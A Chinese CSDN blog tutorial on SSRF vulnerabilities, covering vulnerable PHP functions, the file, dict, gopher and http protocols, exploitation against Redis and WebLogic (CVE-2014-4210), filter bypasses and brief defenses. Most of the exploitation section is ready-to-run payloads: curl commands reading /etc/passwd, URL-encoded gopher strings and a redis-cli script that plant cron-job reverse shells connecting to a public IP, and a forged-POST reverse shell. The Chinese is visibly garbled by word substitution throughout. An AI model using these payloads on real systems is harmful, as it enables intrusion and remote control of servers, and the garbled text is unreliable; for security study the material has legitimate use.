责编 | 夕颜
头图 | CSDN付费下载自视觉中国
出品 | CSDN博客
序言
SSRF漏洞和CSRF漏洞有一些相似之处:CSRF跨站要求假造,基于客户真个要求假造;SSRF做事器端要求假造,基于做事真个要求假造。
本日,我们来学习一下SSRF漏洞!
SSRF漏洞简介
1.SSRF漏洞概述
SSRF(Server-Side Request Forgery:做事器端要求假造) 是一种由攻击者布局形成由做事端发起要求的一个安全漏洞。
一样平常情形下,SSRF攻击的目标是从外网无法访问的内部系统。(由于它是由做事端发起的,以是它能够要求到与它相连而与外网隔离的内网。也便是说可以利用一个网络要求的做事,当作跳板进行攻击)。
2.SSRF漏洞产生缘故原由
SSRF 形成的缘故原由每每是由于做事端供应了从其他做事器运用获取数据的功能且没有对目标地址做过滤与限定。
如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的便是做事真个要求假造。ssrf是利用存在毛病的web运用作为代理攻击远程和本地的做事器。
3.随意马虎涌现SSRF的地方
转码做事
在线翻译
图片加载与下载(通过URL地址加载或下载图片)
图片、文章收藏功能
网站采集、网页抓取的地方。
头像的地方。(远程加载头像)
统统要你输入网址的地方和可以输入ip的地方。
从URL关键字中探求:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
…
4.利用SSRF可以实现的攻击
可以对外网、做事器所在内网、本地进行端口扫描,获取一些做事的banner 信息
攻击运行在内网或本地的运用程序
对内网 WEB 运用进行指纹识别,通过访问默认文件实现(如:readme文件)
攻击内外网的 web 运用,紧张是利用 GET 参数就可以实现的攻击(如:Struts2,sqli)
下载内网资源(如:利用file协议读取本地文件等)
进行跳板
忽略cdn
利用Redis未授权访问,HTTP CRLF注入实现getshell
SSRF漏洞干系函数和协议
1.函数
file_get_contents、fsockopen、curl_exec、fopen、readfile等函数利用不当会造成SSRF漏洞
(1)file_get_contents
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
(2)fsockopen
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo \公众$errstr (error number $errno) \n\公众;
} else {
$out = \"大众GET $link HTTP/1.1\r\n\"大众;
$out .= \"大众Host: $host\r\n\"大众;
$out .= \公众Connection: Close\r\n\r\n\公众;
$out .= \公众\r\n\"大众;
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen函数实现对用户指定url数据的获取,该函数利用socket(端口)跟做事器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示缺点信息将以字符串的信息返回,30为时限。
(3)curl_exec
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init;// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它通报给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且开释系统资源
$filename = './curled/'.rand.'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
curl_exec函数用于实行指定的cURL会话。
把稳
1.一样平常情形下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会涌现bug,导致利用失落败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec //默认不跟踪跳转,
6.file_get_contents // file_get_contents支持php://input协议
2.协议
(1)file:在有回显的情形下,利用 file 协议可以读取任意内容
(2)dict:透露安装软件版本信息,查看端口,操作内网redis做事等
(3)gopher:gopher支持发出GET、POST要求:可以先截获get要求包和post要求包,再布局成符合gopher协议的要求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s:探测内网主机存活
SSRF漏洞利用
本地利用
以curl举例,查看 curl 支持的协议列表 curl -V。本地利用办法:
(1)利用file协议 file protocol (任意文件读取)
curl -vvv 'file:///etc/passwd'
(2)利用dict协议 dict protocol (获取Redis配置信息)
curl -vvv 'dict://127.0.0.1:6379/info'
(3)利用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)
curl -vvv 'gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a/1 bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
远程利用
1、环境
攻击机ip:192.168.201.129、121.36.67.230
攻击机:Kali、公网做事器
远程做事器ip:39.x.x.x
docker镜像:ssrf_redis
PHP版本:PHP Version 7.2.28(5.6版本测试会失落败)
2、远程利用示例代码
ssrf.php
<?php
$ch = curl_init; //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它通报给浏览器,存储进文件
curl_close($ch); ////关闭 cURL 资源,并且开释系统资源
?>
post.php
<html>
<head>
<title>post</title>
</head>
<body>
<?php
echo $_REQUEST[cmd];
?>
</body>
</html>
3、远程利用办法
1.利用file协议
任意文件读取
curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'
2.利用dict协议
(1)查看端口及端口上运行做事的版本信息
curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'
解释22端口开放
(2)通过dict协议getshell
有关dict协议:向做事器的端口要求 命令:参数,并在末端自动补上\r\n(CRLF)。
dict协议要一条一条的实行,而gopher协议实行一条命令就行了。
一条一条的实行就可以了。
3.利用gopher协议
(1)攻击内网redis并反弹shell
利用redis未授权访问攻击redis
攻击redis的exp
echo -e \公众\n\n\n/1 bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n\"大众|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
bash shell.sh 39.x.x.x 6379
从而捕获到数据,并进行转换。
转换规则如下:
如果第一个字符是>或者<那么丢弃该行字符串,表示要乞降返回的韶光。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串更换成%0d%0a
空缺行更换为%0a
结合gopher协议攻击内网redis,利用上边捕获数据的转换结果即可,然后进行反弹shell:
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
反弹成功
http://39.x.x.x:8000/ssrf.php是存在SSRF漏洞的Web做事
192.168.1.4是redis运用所在内网ip
121.36.67.230是公网做事器,吸收反弹shell
(2)假造post要求反弹shell
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20/%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'
反弹成功
192.168.1.5是内网Web做事,有post.php
4 .利用http/s协议
探测内网主机存活
解释内网ip为192.168.1.3的主机存活
SSRF攻击运用实战
1、gopher攻击redis
参考远程利用 3.利用gopher协议
2、weblogic ssrf攻击redis
CVE-2014-4210
编译并启动环境
docker-compose build
docker-compose up -d
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
1.查看端口
访问
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
//测试http://127.0.0.1:7001:将80更换成7001
not connect,解释80端口未开放。
返回404,解释端口开放。
2.探测内网主机存活
解释内网ip为192.168.1.1的主机存活。
3.注入HTTP头,利用Redis反弹shell
通过ssrf探测内网中的redis做事器,创造172.22.0.2:6379可以连通
和上边的远程利用险些一样。
将反弹shell脚本写入/etc/crontab定时任务
set 1 \公众\n\n\n\n root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n\"大众
config set dir /etc/
config set dbfilename crontab
save
进行url编码
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%20%20%20%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
换行符是“\r\n”换成“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送。
反弹成功
SSRF漏洞干系绕过
1、常用绕过方法
1.@
http://abc@127.0.0.1
实际上因此用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8
在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
2.利用[::]
可以利用[::]来绕过localhost
http://[::]:80/ >>> http://127.0.0.1
3.添加端口号
http://127.0.0.1:8080
4.利用短网址
站长工具短网址
百度短网址
5.利用分外域名
事理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
6.利用DNS解析
在域名上设置A记录,指向127.0.1
7.利用进制转换
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
8.句号
127。0。0。1 >>> 127.0.0.1
9.302跳转
利用https://tinyurl.com天生302跳转地址
2、常见限定
1.限定为http://www.xxx.com 域名
采取http基本身份认证的办法绕过。即@
http://www.xxx.com@www.xxc.com
2.限定要求IP不为内网地址
当不许可ip为内网地址时
(1)采纳短网址绕过
(2)采纳分外域名
(3)采纳进制转换
3.限定要求只为http协议
(1)采纳302跳转
(2)采纳短地址
SSRF漏洞防御
1、禁用不须要的协议(如:file:///、gopher://,dict://等)。仅仅许可http和https要求
2、统一缺点信息,防止根据缺点信息判断端口状态
3、禁止302跳转,或每次跳转,都检讨新的Host是否是内网IP,直到抵达末了的网址
4、设置URL白名单或者限定内网IP
后记
在SSRF漏洞的学习过程中,碰着了一些问题,比如反弹shell到公网做事器,折腾了许久。不过终极战胜了问题。同时,通过SSRF漏洞的学习,创造SSRF漏洞果真比CSRF漏洞的利用的局限性要小,并且SSRF漏洞对内网的一些运用危害比较大。以是在开拓过程中,要只管即便避免产生SSRF漏洞。
版权声明:本文为CSDN博主「Qwzf」的原创文章,遵照CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_43625917/article/details/104528645
☞Facebook 公司:如何打消 960 万句“脏话”?
☞Linux 之父怒删工程师提交的补丁,称“太蠢了”网友:怼得好!
☞张一鸣是如何练就字节跳动的
☞性能超越最新序列推举模型,华为诺亚方舟提出影象增强的图神经网络
☞DevOps 在移动运用程序开拓中扮演什么角色?
☞稳定币经济:十大稳定币简史